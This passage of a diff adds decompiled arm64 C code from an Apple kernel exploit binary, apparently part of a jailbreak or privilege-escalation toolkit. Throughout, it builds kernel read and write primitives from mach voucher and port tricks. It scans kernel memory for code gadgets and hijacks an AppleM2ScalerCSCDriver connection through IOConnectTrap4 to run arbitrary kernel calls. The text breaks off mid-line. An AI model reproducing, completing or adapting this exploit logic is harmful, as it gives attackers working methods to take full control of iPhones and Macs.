[xbp-48h] BYREF + + address = offset; + object_handle = 0; + sizea = size; + v10 = offset == 0; + v11 = offset; + if ( !offset ) + { + v14 = vm_allocate(mach_task_self_, &address, size, 1); + if ( v14 ) + { + v10 = 0; + v13 = v14 | 0x80000000; + goto LABEL_19; + } + v11 = address; + } + memory_entry = mach_make_memory_entry(mach_task_self_, &sizea, v11, 3, &object_handle, 0); + if ( memory_entry ) + { +LABEL_3: + v13 = memory_entry | 0x80000000; + goto LABEL_12; + } + if ( sizea == size ) + { + v13 = sub_1C8B0(a1, a2, object_handle); + if ( (_DWORD)v13 || offset ) + goto LABEL_12; + memory_entry = vm_map(mach_task_self_, a5, size, 0LL, 1, object_handle, 0LL, 0, 3, 3, 2u); + if ( !memory_entry ) + { + bzero((void *)*a5, size); + v13 = 0LL; + goto LABEL_19; + } + goto LABEL_3; + } + v13 = 0xAD022LL; +LABEL_12: + if ( (_DWORD)v13 ) + v15 = offset == 0; + else + v15 = 0; + if ( v15 && *a5 ) + vm_deallocate(mach_task_self_, *a5, size); +LABEL_19: + if ( object_handle + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, object_handle); + if ( v10 ) + vm_deallocate(mach_task_self_, address, size); + return v13; +} + +//----- (000000000001CEC4) ---------------------------------------------------- +__int64 __fastcall sub_1CEC4(__int64 a1) +{ + __int64 result; // x0 + vm_size_t v3; // x9 + vm_address_t v4; // [xsp+8h] [xbp-18h] BYREF + + v4 = 0LL; + result = sub_1CD34(a1, 0x10u, vm_page_size, 0LL, &v4); + if ( !(_DWORD)result ) + { + v3 = vm_page_size; + *(_QWORD *)(a1 + 0x118) = v4; + *(_QWORD *)(a1 + 0x120) = v3; + } + return result; +} + +//----- (000000000001CF1C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_1CF1C(__int64 a1) +{ + __int64 v2; // x20 + unsigned __int64 result; // x0 + int v4; // w8 + int v5; // w8 + __int64 v6; // x9 + __int64 v7; // x10 + unsigned __int64 v8; // x22 + __int64 v9; // x24 + int v10; // w8 + unsigned __int64 v11; // x8 + unsigned __int64 v12; // x1 + unsigned __int64 v13; // x2 + __int64 v14; // [xsp+8h] [xbp-88h] BYREF + mach_port_name_t name; // [xsp+10h] [xbp-80h] + int v16; // [xsp+14h] [xbp-7Ch] BYREF + _DWORD v17[4]; // [xsp+18h] [xbp-78h] + ipc_voucher_t v18[4]; // [xsp+28h] [xbp-68h] BYREF + + v2 = 0x1122334455667788LL; + result = voucher_create_mach_voucher(a1, 0x1122334455667788LL, v18); + if ( (_DWORD)result ) + { + result = sub_32D6C(a1, v18[0]); + if ( result ) + { + result = kread32_outptr(a1, result, &v16); + if ( (_DWORD)result ) + { + if ( (v16 & 0x3FF) == 0x22 ) + { + return 1LL; + } + else + { + result = 0LL; + v4 = *(_DWORD *)(a1 + 0x1934); + v17[0] = *(_DWORD *)(a1 + 0x1930); + v17[1] = v4; + if ( v17[0] != 0xFFFFFFFF && v4 != 0xFFFFFFFF ) + { + v5 = *(_DWORD *)(a1 + 0x1940); + if ( v5 != 0xFFFFFFFF && *(_QWORD *)(a1 + 0x218) ) + { + v6 = 3LL; + v7 = 2LL; +LABEL_13: + v8 = 0LL; + v17[v7] = v5; + v9 = 4 * v6; + while ( 1 ) + { + name = 0; + if ( voucher_create_mach_voucher(a1, v2, &v18[v8 / 4]) && !(unsigned int)j__fileport_makeport() ) + { + if ( !v8 && !(unsigned int)sub_356C8((_DWORD *)a1, name, &v14) ) + { + v10 = *(_DWORD *)(a1 + 0x140); + if ( (unsigned int)(v10 - 0x1F53) >= 2 && v10 != 0x2258 && v10 != 0x1C1B ) + return 0LL; + sub_288A4(a1, v14 + 0x118, *(_QWORD *)(a1 + 0x19D0)); + v11 = *(_QWORD *)(a1 + 0x158); + if ( v11 >= 0x1C1B0A80100000LL && ((*(_DWORD *)a1 & 0x5584001) != 0 || v11 >= 0x1F530000000000LL) ) + { + v13 = *(_QWORD *)(a1 + 0x218) & 0xFFFFFFFFFFLL | ((unsigned __int64)(unsigned int)(*(_QWORD *)(a1 + 0x19E0) / (unsigned __int64)*(unsigned int *)(a1 + 0x180)) << 0x28); + v12 = v14 + *(int *)(a1 + 0x168) + 0x118; + } + else + { + v12 = v14 + *(int *)(a1 + 0x168) + 0x118; + v13 = *(_QWORD *)(a1 + 0x19E0); + } + sub_288A4(a1, v12, v13); + } + sub_1C720((_DWORD *)a1, &v18[v8 / 4], name); + mach_port_deallocate(mach_task_self_, name); + } + v8 += 4LL; + ++v2; + if ( v9 == v8 ) + return 1LL; + } + } + if ( *(_DWORD *)(a1 + 0x1938) != 0xFFFFFFFF ) + { + v5 = *(_DWORD *)(a1 + 0x193C); + if ( v5 != 0xFFFFFFFF ) + { + v17[2] = *(_DWORD *)(a1 + 0x1938); + v6 = 4LL; + v7 = 3LL; + goto LABEL_13; + } + } + return 0LL; + } + } + } + } + } + return result; +} + +//----- (000000000001D1B0) ---------------------------------------------------- +__int64 __fastcall sub_1D1B0(__int64 a1) +{ + vm_size_t v2; // x20 + __int64 result; // x0 + unsigned int v4; // w1 + ipc_voucher_t v5; // w8 + kern_return_t memory_entry; // w8 + kern_return_t v7; // w8 + vm_address_t v8; // x1 + __int64 v9; // x20 + unsigned int *v10; // x21 + _DWORD *v11; // x22 + unsigned int v12; // w23 + ipc_voucher_t v13; // [xsp+10h] [xbp-90h] BYREF + mem_entry_name_port_t object_handle; // [xsp+14h] [xbp-8Ch] BYREF + vm_address_t address; // [xsp+18h] [xbp-88h] BYREF + vm_size_t size; // [xsp+20h] [xbp-80h] BYREF + int v17; // [xsp+2Ch] [xbp-74h] BYREF + unsigned int v18; // [xsp+30h] [xbp-70h] BYREF + ipc_voucher_t v19[3]; // [xsp+3Ch] [xbp-64h] BYREF + + v2 = vm_page_size; + address = 0LL; + size = vm_page_size; + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F543C407FFFFFuLL ) + { + v19[0] = 0; + result = voucher_create_mach_voucher(a1, 0x3122334455667788LL, v19); + if ( !(_DWORD)result ) + return result; + v4 = v19[0]; + } + else + { + result = sub_1BD80(a1, 0); + if ( !result ) + return result; + v4 = *(_DWORD *)result; + } + v18 = v4; + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F543C407FFFFFuLL ) + { + result = sub_32D6C(a1, v4); + if ( !result ) + return result; + result = kread32_outptr(a1, result, &v17); + if ( !(_DWORD)result ) + return result; + if ( (v17 & 0x3FF) == 0x1C ) + return 1LL; + } + else if ( v4 + 1 > 1 ) + { + return 1LL; + } + v5 = *(_DWORD *)(a1 + 0xE8); + if ( v5 + 1 < 2 ) + return 0LL; + if ( !*(_QWORD *)(a1 + 0xF8) ) + return 0LL; + if ( !*(_QWORD *)(a1 + 0x100) ) + return 0LL; + if ( (unsigned int)(*(_DWORD *)(a1 + 0x114) + 1) < 2 ) + return 0LL; + v19[0] = *(_DWORD *)(a1 + 0x114); + v19[1] = v5; + if ( !*(_QWORD *)(a1 + 0x19D0) || !*(_QWORD *)(a1 + 0xF0) ) + return 0LL; + memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0LL, 0x20003, &object_handle, 0); + result = 0LL; + if ( !memory_entry ) + { + v19[2] = object_handle; + v7 = vm_map(mach_task_self_, &address, v2, 0LL, 1, object_handle, 0LL, 0, 3, 3, 2u); + result = 0LL; + if ( !v7 ) + { + bzero((void *)address, v2); + v8 = address; + *(_QWORD *)address = *(_QWORD *)(a1 + 0x19D0); + *(_QWORD *)(v8 + 8) = *(_QWORD *)(a1 + 0xF0); + *(_DWORD *)(v8 + 0x10) = *(_QWORD *)(a1 + 0x108); + *(_DWORD *)(v8 + 0x14) = *(_DWORD *)(a1 + 0x110); + result = vm_deallocate(mach_task_self_, v8, v2); + v9 = 0LL; + v10 = &v18; + do + { + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F543C407FFFFFuLL ) + { + v13 = 0; + result = voucher_create_mach_voucher(a1, v9 + 0x3122334455667788LL, &v13); + if ( !(_DWORD)result ) + return result; + *v10 = v13; + result = sub_1C720((_DWORD *)a1, v10, v19[v9]); + if ( !(_DWORD)result ) + return result; + } + else + { + result = sub_1BD80(result, v9); + if ( !result ) + return result; + v11 = (_DWORD *)result; + v12 = v19[v9]; + result = sub_32D6C(a1, v12); + if ( !result ) + return result; + if ( (unsigned int)sub_35E8C(a1, result) || mach_port_mod_refs(mach_task_self_, v12, 0, 0xFFFF) ) + return 0LL; + *v11 = v12; + } + ++v9; + ++v10; + result = 1LL; + } + while ( v9 != 3 ); + } + } + return result; +} + +//----- (000000000001D4A0) ---------------------------------------------------- +unsigned int *__fastcall sub_1D4A0(__int64 a1) +{ + vm_size_t v1; // x20 + unsigned int *result; // x0 + int v4; // w8 + kern_return_t memory_entry; // w8 + kern_return_t v6; // w8 + _QWORD *v7; // x1 + __int64 v8; // x0 + __int64 v9; // x21 + char v10; // w8 + char v11; // w24 + unsigned int *v12; // x20 + unsigned int v13; // w21 + mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-54h] BYREF + vm_address_t address; // [xsp+10h] [xbp-50h] BYREF + vm_size_t size; // [xsp+18h] [xbp-48h] BYREF + _DWORD v17[2]; // [xsp+20h] [xbp-40h] + + v1 = vm_page_size; + address = 0LL; + size = vm_page_size; + if ( *(_QWORD *)(a1 + 0x158) < 0x1F543C40800000uLL ) + return 0LL; + result = (unsigned int *)sub_1BD80(a1, 0); + if ( !result ) + return result; + if ( *result + 1 > 1 ) + return (unsigned int *)(&def_3E8F0 + 1); + if ( (unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) < 2 + || !*(_QWORD *)(a1 + 0xD8) + || (unsigned int)(*(_DWORD *)(a1 + 0x58) + 1) < 2 ) + { + return 0LL; + } + v17[0] = *(_DWORD *)(a1 + 0x58); + v4 = sub_27504(a1, 0); + result = 0LL; + if ( v4 ) + return result; + if ( !*(_QWORD *)(a1 + 0x19D0) + || !*(_QWORD *)(a1 + 0x80) + || !*(_DWORD *)(a1 + 0x88) + || !*(_QWORD *)(a1 + 0xA0) + || !*(_DWORD *)(a1 + 0xA8) ) + { + return 0LL; + } + memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0LL, 0x20003, &object_handle, 0); + result = 0LL; + if ( !memory_entry ) + { + v17[1] = object_handle; + v6 = vm_map(mach_task_self_, &address, v1, 0LL, 1, object_handle, 0LL, 0, 3, 3, 2u); + result = 0LL; + if ( !v6 ) + { + bzero((void *)address, v1); + v7 = (_QWORD *)address; + *(_QWORD *)address = *(_QWORD *)(a1 + 0x19D0); + v7[4] = *(_QWORD *)(a1 + 0x1898); + v7[5] = *(unsigned int *)(a1 + 0x18A0); + v7[6] = *(_QWORD *)(a1 + 0x80); + v7[7] = *(unsigned int *)(a1 + 0x88); + v7[8] = *(_QWORD *)(a1 + 0xA0); + v7[9] = *(unsigned int *)(a1 + 0xA8); + v8 = vm_deallocate(mach_task_self_, (vm_address_t)v7, v1); + v9 = 0LL; + v10 = 1; + while ( 1 ) + { + v11 = v10; + result = (unsigned int *)sub_1BD80(v8, v9); + if ( !result ) + break; + v12 = result; + v13 = v17[v9]; + result = (unsigned int *)sub_32D6C(a1, v13); + if ( !result ) + break; + if ( (unsigned int)sub_35E8C(a1, (__int64)result) ) + return 0LL; + v8 = mach_port_mod_refs(mach_task_self_, v13, 0, 0xFFFF); + if ( (_DWORD)v8 ) + return 0LL; + v10 = 0; + *v12 = v13; + v9 = 1LL; + if ( (v11 & 1) == 0 ) + return (unsigned int *)((unsigned int)sub_281F0(a1) == 0); + } + } + } + return result; +} +// 0: using guessed type int def_3E8F0; + +//----- (000000000001D70C) ---------------------------------------------------- +__int64 __fastcall sub_1D70C(__int64 a1, _DWORD *a2) +{ + vm_size_t v2; // x20 + __int64 v5; // x0 + __int64 v7; // x23 + char v8; // w8 + int v9; // w21 + char v10; // w26 + mach_port_name_t *v11; // x0 + mach_port_name_t v12; // w1 + __int64 v13; // x8 + char v14; // w9 + char v15; // w23 + mach_port_name_t v16; // w1 + bool v17; // zf + __int64 v18; // x23 + __int64 v19; // x23 + vm_address_t v20; // x8 + __int64 v21; // x9 + __int64 v22; // x9 + int v23; // w10 + __int64 v24; // x11 + int v25; // w8 + int v26; // [xsp+Ch] [xbp-54h] BYREF + vm_address_t address; // [xsp+10h] [xbp-50h] BYREF + mem_entry_name_port_t object[2]; // [xsp+18h] [xbp-48h] + + address = 0LL; + *(_QWORD *)object = 0LL; + v2 = vm_page_size; + v26 = 0xFFFFFFFF; + if ( *(_QWORD *)(a1 + 0x158) < 0x1F543C40800000uLL ) + return 0LL; + v5 = fd_open_dev_null(&v26); + if ( (_DWORD)v5 ) + return 0LL; + v7 = 0LL; + v8 = 1; + v9 = 0x28026; + while ( 1 ) + { + v10 = v8; + v11 = (mach_port_name_t *)sub_1BD80(v5, v7); + if ( !v11 ) + break; + v12 = *v11; + object[v7] = *v11; + if ( v12 + 1 < 2 ) + break; + v5 = mach_port_mod_refs(mach_task_self_, v12, 0, 1); + if ( (_DWORD)v5 ) + break; + v8 = 0; + v7 = 1LL; + if ( (v10 & 1) == 0 ) + { + if ( !vm_map(mach_task_self_, &address, v2, 0LL, 1, object[1], 0LL, 0, 3, 3, 2u) ) + { + v18 = *(_QWORD *)address; + if ( validate_addr(a1, *(_QWORD *)address) ) + { + *(_QWORD *)(a1 + 0x19D0) = v18; + v19 = *(_QWORD *)(address + 0x20); + if ( validate_addr(a1, v19) ) + { + *(_QWORD *)(a1 + 0x1898) = v19; + v20 = address; + v21 = *(_QWORD *)(address + 0x28); + if ( (unsigned __int64)(v21 - 1) <= 0x1F ) + { + *(_DWORD *)(a1 + 0x18A0) = v21; + *(_DWORD *)(a1 + 0x58) = object[0]; + v22 = *(_QWORD *)(v20 + 0x30); + if ( v22 ) + { + if ( (v22 & 7) == 0 ) + { + v23 = *(_DWORD *)(v20 + 0x38); + if ( v23 ) + { + v24 = *(_QWORD *)(v20 + 0x40); + if ( v24 ) + { + if ( (v24 & 7) == 0 ) + { + v25 = *(_DWORD *)(v20 + 0x48); + if ( v25 ) + { + *(_QWORD *)(a1 + 0x80) = v22; + *(_DWORD *)(a1 + 0x88) = v23; + *(_QWORD *)(a1 + 0xA0) = v24; + *(_DWORD *)(a1 + 0xA8) = v25; + v9 = sub_27808(a1, 1); + if ( !v9 ) + { + fd_close(v26); + v26 = 0xFFFFFFFF; + v9 = sub_288D4(a1); + } + } + } + } + } + } + } + } + } + } + } + break; + } + } + if ( v26 != 0xFFFFFFFF ) + fd_close(v26); + if ( v9 ) + { + v13 = 0LL; + v14 = 1; + do + { + v15 = v14; + v16 = object[v13]; + if ( v16 + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, v16); + v14 = 0; + v13 = 1LL; + } + while ( (v15 & 1) != 0 ); + } + if ( address ) + v17 = v2 == 0; + else + v17 = 1; + if ( !v17 ) + vm_deallocate(mach_task_self_, address, v2); + *a2 = v9 == 0; + return 1LL; +} + +//----- (000000000001D970) ---------------------------------------------------- +mach_vm_address_t sub_1D970() +{ + __int64 v0; // x0 + _QWORD *v1; // x6 + _QWORD *v2; // x21 + uintptr_t v3; // x5 + uintptr_t v4; // x22 + uintptr_t v5; // x4 + uintptr_t v6; // x23 + uintptr_t v7; // x3 + uintptr_t v8; // x24 + __int64 v9; // x2 + __int64 v10; // x25 + __int64 v11; // x1 + __int64 v12; // x26 + __int64 v13; // x19 + unsigned int v14; // w8 + unsigned int v15; // w10 + unsigned int v16; // w8 + __int64 v17; // x0 + const __CFDictionary *v18; // x0 + io_service_t MatchingService; // w0 + io_object_t v20; // w20 + unsigned int v21; // w27 + mach_vm_address_t v22; // x28 + __int64 v23; // x0 + __int64 v24; // x8 + unsigned int v25; // w22 + __int64 v27; // [xsp+18h] [xbp-1098h] + unsigned int size[3]; // [xsp+24h] [xbp-108Ch] BYREF + __int128 v29; // [xsp+30h] [xbp-1080h] + __int64 v30; // [xsp+40h] [xbp-1070h] + io_connect_t connect; // [xsp+4Ch] [xbp-1064h] BYREF + __int128 v32; // [xsp+50h] [xbp-1060h] BYREF + __int64 v33; // [xsp+60h] [xbp-1050h] + + v0 = __chkstk_darwin(); + v2 = v1; + v4 = v3; + v6 = v5; + v8 = v7; + v10 = v9; + v12 = v11; + v13 = v0; + connect = 0; + *(_QWORD *)&size[1] = 0LL; + v14 = *(_DWORD *)(v0 + 0x180); + v15 = 0x1000 % v14; + v16 = v14 - 0x1000 % v14 + 0x1000; + if ( !v15 ) + v16 = 0x1000; + size[0] = v16; + if ( !*(_QWORD *)(v0 + 0x200) ) + { + sub_19D10(*(_QWORD *)(v0 + 0x19F8), &v32); + v29 = v32; + v30 = v33; + v17 = kernel_pattern_scan((__int64)&v32, "00 00 01 91 C0 03 5F D6", 0); + if ( !v17 ) + return 0LL; + *(_QWORD *)(v13 + 0x200) = v17; + } + v18 = IOServiceMatching("AppleM2ScalerCSCDriver"); + MatchingService = IOServiceGetMatchingService(kIOMasterPortDefault, v18); + v20 = MatchingService; + v21 = MatchingService + 1; + if ( MatchingService + 1 < 2 ) + goto LABEL_21; + v22 = 0LL; + if ( IOServiceOpen(MatchingService, mach_task_self_, 0, &connect) ) + goto LABEL_22; + if ( connect + 1 < 2 ) + { +LABEL_21: + v22 = 0LL; + goto LABEL_22; + } + v22 = port_name_to_kaddr(v13, connect); + if ( v22 ) + { + if ( kread64((_DWORD *)v13, v22, (__int64 *)&size[1]) ) + { + if ( validate_addr(v13, *(__int64 *)&size[1]) ) + { + v23 = sub_37210(v13, size); + if ( v23 ) + { + v27 = v23; + if ( !(unsigned int)kreadbuf_last_1(v13, *(__int64 *)&size[1], 0x1000LL, (__int64)&v32) + || !(unsigned int)kwritebuf_last_1(v13, v27, (__int64)&v32, 0x1000LL) ) + { + goto LABEL_28; + } + v24 = 0x5B8LL; + if ( *(int *)(v13 + 0x140) > 0x1808 ) + v24 = 0x5C0LL; + if ( kwrite64(v13, v24 + v27, *(_QWORD *)(v13 + 0x200)) ) + { + kwrite64(v13, v22, v27); + kwrite64(v13, v22 + 0x40, 8LL); + kwrite64(v13, v22 + 0x48, v12); + kwrite64(v13, v22 + 0x50, 2 * v10 - 0x10); + v25 = IOConnectTrap4(connect, 0, v8, v6, v4, 0LL); + kwrite64(v13, v22 + 0x40, 0LL); + kwrite64(v13, v22 + 0x48, 0LL); + kwrite64(v13, v22 + 0x50, 0LL); + kwrite64(v13, v22, *(__int64 *)&size[1]); + if ( v2 ) + *v2 = v25; + v22 = 1LL; + } + else + { +LABEL_28: + v22 = 0LL; + } + sub_36E4C(v13, v27, size[0]); + goto LABEL_22; + } + } + } + goto LABEL_21; + } +LABEL_22: + if ( connect + 1 >= 2 ) + IOServiceClose(connect); + if ( v21 >= 2 ) + IOObjectRelease(v20); + return v22; +} +// 1D9A8: variable 'v1' is possibly undefined +// 1D9AC: variable 'v3' is possibly undefined +// 1D9B0: variable 'v5' is possibly undefined +// 1D9B4: variable 'v7' is possibly undefined +// 1D9B8: variable 'v9' is possibly undefined +// 1D9BC: variable 'v11' is possibly undefined +// 48940: using guessed type __int64 __chkstk_darwin(void); + +//----- (000000000001DCA8) ---------------------------------------------------- +__int64 __fastcall kernel_pattern_scan(__int64 a1, char *__s1, int a3) +{ + char *v5; // x0 + char *v6; // x24 + __int64 v7; // x22 + __int64 v8; // x23 + char *v9; // x19 + char *__stringp[2]; // [xsp+10h] [xbp-180h] BYREF + __int64 v12; // [xsp+20h] [xbp-170h] + char *__endptr; // [xsp+28h] [xbp-168h] BYREF + _WORD v14[128]; // [xsp+30h] [xbp-160h] BYREF + + __endptr = 0LL; + if ( !__s1 ) + return 0LL; + v5 = strdup(__s1); + if ( !v5 ) + return 0LL; + v6 = v5; + v7 = 0LL; + v8 = 0LL; + __stringp[0] = v5; + while ( 1 ) + { + v9 = strsep(__stringp, " "); + if ( strcmp(v9, "-") ) + break; + v8 = v7; +LABEL_14: + if ( !__stringp[0] ) + { + free(v6); + *(_OWORD *)__stringp = *(_OWORD *)a1; + v12 = *(_QWORD *)(a1 + 0x10); + return sub_1DE40((__int64 *)__stringp, (__int64)v14, v7, v8, a3); + } + } + if ( !strcmp(v9, "+") ) + { + v8 = v7 + 1; + goto LABEL_14; + } + if ( !strcmp(v9, "..") ) + { + v14[v7] = 0xFFFF; + } + else + { + v14[v7] = (unsigned __int8)strtol(v9, &__endptr, 0x10); + if ( *__endptr ) + goto LABEL_16; + } + if ( v7 <= 0x7E ) + { + ++v7; + goto LABEL_14; + } +LABEL_16: + free(v6); + return 0LL; +} + +//----- (000000000001DE40) ---------------------------------------------------- +__int64 __fastcall sub_1DE40(__int64 *a1, __int64 a2, __int64 a3, __int64 a4, int a5) +{ + __int64 v5; // x22 + unsigned int v9; // w9 + __int64 v10; // x11 + int v11; // w10 + __int64 v12; // x12 + unsigned int v13; // w13 + __int64 v14; // x23 + __int64 v15; // x23 + __int64 v16; // t1 + __int64 v17; // x1 + unsigned __int64 v18; // x8 + __int64 result; // x0 + unsigned __int64 v20; // x9 + __int64 v21; // x25 + unsigned __int64 v22; // x26 + __int64 v23; // x27 + __int64 v24; // x28 + unsigned __int64 v25; // x22 + __int64 v26; // x8 + __int64 v27; // x8 + int v28; // w10 + unsigned __int64 v29; // x8 + __int64 v30; // [xsp+8h] [xbp-188h] + __int128 v31; // [xsp+10h] [xbp-180h] BYREF + __int64 v32; // [xsp+20h] [xbp-170h] + int8x16_t v33; // [xsp+30h] [xbp-160h] + int8x16_t v34; // [xsp+40h] [xbp-150h] + int8x16_t v35; // [xsp+50h] [xbp-140h] + int8x16_t v36; // [xsp+60h] [xbp-130h] + int8x16_t v37; // [xsp+70h] [xbp-120h] + int8x16_t v38; // [xsp+80h] [xbp-110h] + int8x16_t v39; // [xsp+90h] [xbp-100h] + int8x16_t v40; // [xsp+A0h] [xbp-F0h] + int8x16_t v41; // [xsp+B0h] [xbp-E0h] + int8x16_t v42; // [xsp+C0h] [xbp-D0h] + int8x16_t v43; // [xsp+D0h] [xbp-C0h] + int8x16_t v44; // [xsp+E0h] [xbp-B0h] + int8x16_t v45; // [xsp+F0h] [xbp-A0h] + int8x16_t v46; // [xsp+100h] [xbp-90h] + int8x16_t v47; // [xsp+110h] [xbp-80h] + int8x16_t v48; // [xsp+120h] [xbp-70h] + + v5 = a3; + if ( a3 != (char)a3 || !a1[2] || !a1[1] ) + return 0LL; + v9 = a3 - 1; + if ( (int)a3 >= 1 ) + { + v10 = (unsigned int)a3 + 1LL; + while ( *(__int16 *)(a2 + 2LL * v9) == 0xFFFFFFFF ) + { + --v5; + --v10; + --v9; + if ( v10 <= 1 ) + { + v5 = ((unsigned int)-(int)a3 | 0xFFFFFFFF00000000LL) + a3; + break; + } + } + } + v47 = vdupq_n_s8((char)a3); + v48 = v47; + v45 = v47; + v46 = v47; + v43 = v47; + v44 = v47; + v41 = v47; + v42 = v47; + v39 = v47; + v40 = v47; + v37 = v47; + v38 = v47; + v35 = v47; + v36 = v47; + v33 = v47; + v34 = v47; + if ( (char)a3 > 1 ) + { + v11 = 0; + do + { + v12 = *(__int16 *)(a2 + 2LL * (char)v11); + v13 = ~v11 + (char)a3; + if ( v12 == 0xFFFFFFFFFFFFFFFFLL ) + { + v47 = vdupq_n_s8(v13); + v48 = v47; + v45 = v47; + v46 = v47; + v43 = v47; + v44 = v47; + v41 = v47; + v42 = v47; + v39 = v47; + v40 = v47; + v37 = v47; + v38 = v47; + v35 = v47; + v36 = v47; + v33 = v47; + v34 = v47; + } + else + { + v33.i8[v12] = v13; + } + ++v11; + } + while ( (char)a3 - 1 > (char)v11 ); + } + v14 = a2 + 2 * v5; + v16 = *(__int16 *)(v14 - 2); + v15 = v14 - 2; + v30 = v33.i8[v16]; + v33.i8[v16] = 0; + v31 = *(_OWORD *)a1; + v32 = a1[2]; + v18 = sub_197A8((__int64 **)&v31); + result = 0LL; + if ( v18 && v17 ) + { + v20 = 0LL; + v21 = v18 + v5 - 1; + v22 = v18 + v17; + v23 = -*(_DWORD *)(*a1 + 0x38); + v24 = 1 - v5; + v25 = v21; + while ( 1 ) + { + if ( ((v20 ^ v25) & v23) != 0 ) + { + sub_19AC4(*a1, v25, 1uLL, v22 - v25); + v20 = v25; + } + v26 = v33.u8[*(unsigned __int8 *)v25]; + v25 += v26; + if ( v25 >= v22 ) + return 0LL; + if ( !(_DWORD)v26 ) + { + if ( v24 > 0 ) + { +LABEL_27: + v29 = a1[1] + v25 - v21; + if ( !a5 || (v29 & (a5 - 1)) == 0 ) + { + if ( !v29 ) + return 0LL; + return v29 + a4; + } + } + else + { + v27 = 0LL; + while ( 1 ) + { + v28 = *(__int16 *)(v15 + 2 * v27); + if ( v28 != 0xFFFFFFFF && *(unsigned __int8 *)(v25 + v27) != v28 ) + break; + if ( v24 > --v27 ) + goto LABEL_27; + } + } + v25 += v30; + } + } + } + return result; +} +// 1DFA4: variable 'v17' is possibly undefined + +//----- (000000000001E0C8) ---------------------------------------------------- +__int64 __fastcall sub_1E0C8(__int128 *a1, char *__s, int a3, char a4) +{ + size_t v8; // x24 + _WORD *v9; // x0 + void *v10; // x21 + __int64 v11; // x10 + unsigned int v12; // w11 + __int16 v13; // w12 + __int64 v15; // x2 + __int64 v16; // x19 + __int128 v18; // [xsp+0h] [xbp-60h] BYREF + __int64 v19; // [xsp+10h] [xbp-50h] + + v8 = strlen(__s); + v9 = malloc(2 * (v8 + 2)); + if ( !v9 ) + return 0LL; + v10 = v9; + v9[v8 + 1] = 0; + *v9 = 0; + if ( v8 ) + { + v11 = 0LL; + v12 = 1; + do + { + v13 = (unsigned __int8)__s[v11]; + v11 = v12; + v9[v12] = v13; + } + while ( v8 > v12++ ); + } + if ( (a4 & 0x20) != 0 ) + v15 = v8 + 2; + else + v15 = v8 + 1; + v18 = *a1; + v19 = *((_QWORD *)a1 + 2); + v16 = sub_1DE40((__int64 *)&v18, (__int64)&v9[((unsigned __int8)(a4 & 0x20) >> 5) ^ 1], v15, (a4 & 0x20) != 0, a3); + free(v10); + return v16; +} + +//----- (000000000001E1B8) ---------------------------------------------------- +unsigned __int64 __fastcall sub_1E1B8(__int64 *a1, __int64 a2, int a3) +{ + unsigned __int64 v5; // x1 + unsigned __int64 v6; // x21 + unsigned __int64 result; // x0 + unsigned __int64 v8; // x22 + unsigned __int64 v9; // x25 + unsigned __int64 v10; // x23 + unsigned __int64 v11; // x27 + char *v12; // x24 + __int128 v13; // [xsp+0h] [xbp-70h] BYREF + __int64 v14; // [xsp+10h] [xbp-60h] + __int64 __s2; // [xsp+18h] [xbp-58h] BYREF + + v13 = *(_OWORD *)a1; + v14 = a1[2]; + __s2 = a2; + v6 = sub_197A8((__int64 **)&v13); + result = 0LL; + if ( v6 ) + { + v8 = v5; + if ( v5 ) + { + v9 = v6 + v5; + v10 = *(unsigned __int8 *)(*a1 + 0x34); + if ( v6 + v10 > v6 + v5 ) + { + return 0LL; + } + else + { + v11 = v6; + v12 = (char *)v6; + while ( 1 ) + { + if ( !a3 || (v11 & (a3 - 1)) == 0 ) + { + sub_19AC4(*a1, (unsigned __int64)v12, v10, v8); + if ( !memcmp(v12, &__s2, v10) ) + break; + } + ++v12; + ++v11; + --v8; + if ( (unsigned __int64)&v12[v10] > v9 ) + return 0LL; + } + return a1[1] - v6 + v11; + } + } + } + return result; +} +// 1E20C: variable 'v5' is possibly undefined + +//----- (000000000001E2BC) ---------------------------------------------------- +char *__fastcall sub_1E2BC(__int64 *a1, _DWORD *a2, _DWORD *a3, unsigned __int64 a4) +{ + unsigned __int64 v8; // x1 + unsigned __int64 v9; // x23 + char *result; // x0 + unsigned __int64 v11; // x24 + _DWORD *v12; // x10 + __int64 v13; // x12 + __int128 v14; // [xsp+0h] [xbp-50h] BYREF + __int64 v15; // [xsp+10h] [xbp-40h] + + v14 = *(_OWORD *)a1; + v15 = a1[2]; + v9 = sub_197A8((__int64 **)&v14); + result = 0LL; + if ( v9 && v8 ) + { + v11 = v9 + v8; + sub_19AC4(*a1, v9, v8, v8); + if ( v9 < v11 ) + { + v12 = (_DWORD *)v9; + do + { + if ( (*a3 & *v12) == *a2 ) + { + if ( (unsigned __int64)&v12[a4] >= v11 ) + return 0LL; + if ( a4 < 2 ) + { +LABEL_11: + result = (char *)v12 + a1[1] - v9; + if ( result ) + return result; + } + else + { + v13 = 1LL; + while ( (a3[v13] & v12[v13]) == a2[v13] ) + { + if ( a4 == ++v13 ) + goto LABEL_11; + } + } + } + ++v12; + } + while ( (unsigned __int64)v12 < v11 ); + } + return 0LL; + } + return result; +} +// 1E314: variable 'v8' is possibly undefined + +//----- (000000000001E3C4) ---------------------------------------------------- +unsigned __int64 __fastcall kern_get_variable_addr(__int64 a1, char *a2, const char *a3, char *a4) +{ + unsigned __int64 result; // x0 + __int64 v9; // x22 + __int64 v10[3]; // [xsp+0h] [xbp-50h] BYREF + __int128 v11; // [xsp+18h] [xbp-38h] BYREF + + sub_19C34("__TEXT", a1, "__cstring", &v11); + result = sub_1E0C8(&v11, a4, 0, 0x21); + if ( result ) + { + v9 = result; + sub_19C34(a2, a1, a3, v10); + return sub_1E1B8(v10, v9, *(unsigned __int8 *)(a1 + 0x34)); + } + return result; +} + +//----- (000000000001E45C) ---------------------------------------------------- +__int64 __fastcall sub_1E45C(__int64 a1) +{ + __int64 result; // x0 + __int64 v3; // x8 + unsigned int v4; // w20 + const char *v5; // x9 + const char *v6; // x10 + char *v7; // x1 + __int64 v8; // x8 + _QWORD v9[3]; // [xsp+8h] [xbp-58h] BYREF + _QWORD v10[3]; // [xsp+20h] [xbp-40h] BYREF + _QWORD v11[3]; // [xsp+38h] [xbp-28h] BYREF + + if ( krw_ctx_has_flag(*(_DWORD **)(a1 + 0x118), 